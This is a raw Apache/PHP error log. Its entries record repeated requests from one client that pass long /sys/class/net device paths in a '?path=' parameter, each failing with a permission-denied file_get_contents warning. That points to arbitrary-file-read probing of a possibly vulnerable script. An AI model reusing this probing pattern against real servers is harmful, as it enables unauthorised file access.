[Thu Mar 26 11:00:17.338718 2026] [php:warn] [pid 3106381] [client 74.7.241.26:59640] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:cf/subsystem/devices/device:da/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:cf/subsystem/devices/device:da
[Thu Mar 26 11:00:20.493843 2026] [php:warn] [pid 3106381] [client 74.7.241.26:59640] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ac/subsystem/devices/device:de/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ac/subsystem/devices/device:de
[Thu Mar 26 11:00:21.038324 2026] [php:warn] [pid 3106381] [client 74.7.241.26:59640] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ae/subsystem/devices/device:de/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ae/subsystem/devices/device:de
[Thu Mar 26 11:00:21.562047 2026] [php:warn] [pid 3106381] [client 74.7.241.26:59640] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:bc/subsystem/drivers/ac/bind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:bc/subsystem/drivers/ac
[Thu Mar 26 11:00:26.426658 2026] [php:warn] [pid 3106381] [client 74.7.241.26:59640] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ef/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ec/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ef/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ec
[Thu Mar 26 11:00:27.017354 2026] [php:warn] [pid 3106381] [client 74.7.241.26:59640] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:db/device:dc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:db/device:dc
[Thu Mar 26 11:00:29.093386 2026] [php:warn] [pid 3106381] [client 74.7.241.26:59640] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:be/subsystem/devices/device:bc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:be/subsystem/devices/device:bc
[Thu Mar 26 11:00:29.543203 2026] [php:warn] [pid 3106381] [client 74.7.241.26:59640] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:ad/subsystem/devices/device:dd/device:de/subsystem/devices/device:fc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:ad/subsystem/devices/device:dd/device:de/subsystem/devices/device:fc
[Thu Mar 26 11:00:33.719968 2026] [php:warn] [pid 3106405] [client 74.7.241.26:40212] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:bb/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ee/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:bb/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ee
[Thu Mar 26 11:00:34.799891 2026] [php:warn] [pid 3106405] [client 74.7.241.26:40212] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ee/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ba/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ee/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ba
[Thu Mar 26 11:00:36.338765 2026] [php:warn] [pid 3106405] [client 74.7.241.26:40212] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:fd/device:fe/subsystem/drivers/ac/unbind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:fd/device:fe/subsystem/drivers/ac
[Thu Mar 26 11:00:38.934803 2026] [php:warn] [pid 3106405] [client 74.7.241.26:40212] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:ab/device:ac/subsystem/drivers/ac/unbind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:ab/device:ac/subsystem/drivers/ac
[Thu Mar 26 11:00:41.071158 2026] [php:warn] [pid 3106405] [client 74.7.241.26:40212] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:ad/device:ae/subsystem/drivers/ac/unbind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:ad/device:ae/subsystem/drivers/ac
[Thu Mar 26 11:00:42.653970 2026] [php:warn] [pid 3106405] [client 74.7.241.26:40212] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:aa/subsystem/devices/device:fe/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:aa/subsystem/devices/device:fe
[Thu Mar 26 11:00:43.224818 2026] [php:warn] [pid 3106405] [client 74.7.241.26:40212] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:ab/device:ac/subsystem/devices/device:bc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:ab/device:ac/subsystem/devices/device:bc
[Thu Mar 26 11:00:44.898518 2026] [php:warn] [pid 3106405] [client 74.7.241.26:40212] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:db/subsystem/devices/device:bc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:db/subsystem/devices/device:bc
[Thu Mar 26 11:00:45.950159 2026] [php:warn] [pid 3106405] [client 74.7.241.26:40212] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:bd/device:be/subsystem/devices/device:bc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:bd/device:be/subsystem/devices/device:bc
[Thu Mar 26 11:00:48.189285 2026] [php:warn] [pid 3106405] [client 74.7.241.26:40212] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:cb/subsystem/devices/device:ad/device:ae/subsystem/drivers/ec/uevent): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:cb/subsystem/devices/device:ad/device:ae/subsystem/drivers/ec
[Thu Mar 26 11:00:48.703928 2026] [php:warn] [pid 3106405] [client 74.7.241.26:40212] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:ab/device:ac/subsystem/devices/device:aa/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:ab/device:ac/subsystem/devices/device:aa
[Thu Mar 26 11:00:50.294692 2026] [php:warn] [pid 3106405] [client 74.7.241.26:40212] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:cc/subsystem/devices/device:ad/device:ae/subsystem/drivers/ec/bind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:cc/subsystem/devices/device:ad/device:ae/subsystem/drivers/ec
[Thu Mar 26 11:00:57.172123 2026] [php:warn] [pid 3106405] [client 74.7.241.26:40212] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:dd/subsystem/devices/device:bc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:dd/subsystem/devices/device:bc
[Thu Mar 26 11:01:00.330563 2026] [php:warn] [pid 3106405] [client 74.7.241.26:40212] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ce/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ce
[Thu Mar 26 11:01:07.147335 2026] [php:warn] [pid 3106405] [client 74.7.241.26:40212] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:dc/subsystem/devices/device:dc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:dc/subsystem/devices/device:dc
[Thu Mar 26 11:01:09.246887 2026] [php:warn] [pid 3106405] [client 74.7.241.26:40212] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:ad/device:ae/subsystem/devices/device:aa/subsystem/devices/device:de/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:ad/device:ae/subsystem/devices/device:aa/subsystem/devices/device:de
[Thu Mar 26 11:01:10.399335 2026] [php:warn] [pid 3106405] [client 74.7.241.26:40212] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:df/subsystem/devices/device:ad/device:ae/subsystem/devices/device:fa/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:df/subsystem/devices/device:ad/device:ae/subsystem/devices/device:fa
[Thu Mar 26 11:01:11.363215 2026] [php:warn] [pid 3106405] [client 74.7.241.26:40212] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:bb/device:bc/subsystem/devices/device:ee/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:bb/device:bc/subsystem/devices/device:ee
[Thu Mar 26 11:01:13.502395 2026] [php:warn] [pid 3106405] [client 74.7.241.26:40212] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:bd/device:be/subsystem/devices/device:ca/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:bd/device:be/subsystem/devices/device:ca
[Thu Mar 26 11:01:14.554491 2026] [php:warn] [pid 3106405] [client 74.7.241.26:40212] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:cd/subsystem/devices/device:ba/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:cd/subsystem/devices/device:ba
[Thu Mar 26 11:01:17.125769 2026] [php:warn] [pid 3106405] [client 74.7.241.26:40212] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:fe/subsystem/devices/device:ad/device:ae/subsystem/devices/device:dc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:fe/subsystem/devices/device:ad/device:ae/subsystem/devices/device:dc
[Thu Mar 26 11:01:19.822305 2026] [php:warn] [pid 3106405] [client 74.7.241.26:40212] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ef/subsystem/devices/device:ba/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ef/subsystem/devices/device:ba
[Thu Mar 26 11:01:22.476206 2026] [php:warn] [pid 3106405] [client 74.7.241.26:40212] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:cd/subsystem/devices/device:dc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:cd/subsystem/devices/device:dc
[Thu Mar 26 11:01:23.072330 2026] [php:warn] [pid 3106405] [client 74.7.241.26:40212] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:cd/device:ce/subsystem/devices/device:ee/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:cd/device:ce/subsystem/devices/device:ee
[Thu Mar 26 11:01:28.486826 2026] [php:warn] [pid 3106381] [client 74.7.241.26:52454] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:cf/subsystem/devices/device:fe/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:cf/subsystem/devices/device:fe
[Thu Mar 26 11:01:31.603214 2026] [php:warn] [pid 3106381] [client 74.7.241.26:52454] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ca/subsystem/devices/device:be/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ca/subsystem/devices/device:be
[Thu Mar 26 11:01:36.370768 2026] [php:warn] [pid 3106381] [client 74.7.241.26:52454] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:db/device:dc/subsystem/drivers/ec/uevent): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:db/device:dc/subsystem/drivers/ec
[Thu Mar 26 11:01:36.884865 2026] [php:warn] [pid 3106381] [client 74.7.241.26:52454] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:fb/device:fc/subsystem/devices/device:ae/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:fb/device:fc/subsystem/devices/device:ae
[Thu Mar 26 11:01:40.663230 2026] [php:warn] [pid 3106381] [client 74.7.241.26:52454] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:ad/device:ae/subsystem/devices/device:cc/subsystem/devices/device:de/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:ad/device:ae/subsystem/devices/device:cc/subsystem/devices/device:de
[Thu Mar 26 11:01:42.885570 2026] [php:warn] [pid 3106381] [client 74.7.241.26:52454] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:be/subsystem/devices/device:ad/device:ae/subsystem/devices/device:dc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:be/subsystem/devices/device:ad/device:ae/subsystem/devices/device:dc
[Thu Mar 26 11:01:43.835590 2026] [php:warn] [pid 3106381] [client 74.7.241.26:52454] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:cf/subsystem/devices/device:ad/device:ae/subsystem/devices/device:aa/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:cf/subsystem/devices/device:ad/device:ae/subsystem/devices/device:aa
[Thu Mar 26 11:01:49.179541 2026] [php:warn] [pid 3106381] [client 74.7.241.26:52454] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:bd/device:be/subsystem/devices/device:fc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:bd/device:be/subsystem/devices/device:fc
[Thu Mar 26 11:01:50.770070 2026] [php:warn] [pid 3106381] [client 74.7.241.26:52454] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:eb/device:ec/subsystem/devices/device:fb/device:fc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:eb/device:ec/subsystem/devices/device:fb/device:fc
[Thu Mar 26 11:01:55.198567 2026] [php:warn] [pid 3106381] [client 74.7.241.26:52454] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:fd/device:fe/subsystem/drivers/ec/bind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:fd/device:fe/subsystem/drivers/ec
[Thu Mar 26 11:01:57.813562 2026] [php:warn] [pid 3106381] [client 74.7.241.26:52454] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:eb/subsystem/devices/device:ae/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:eb/subsystem/devices/device:ae
[Thu Mar 26 11:01:59.857786 2026] [php:warn] [pid 3106381] [client 74.7.241.26:52454] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:cb/subsystem/devices/device:cc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:cb/subsystem/devices/device:cc
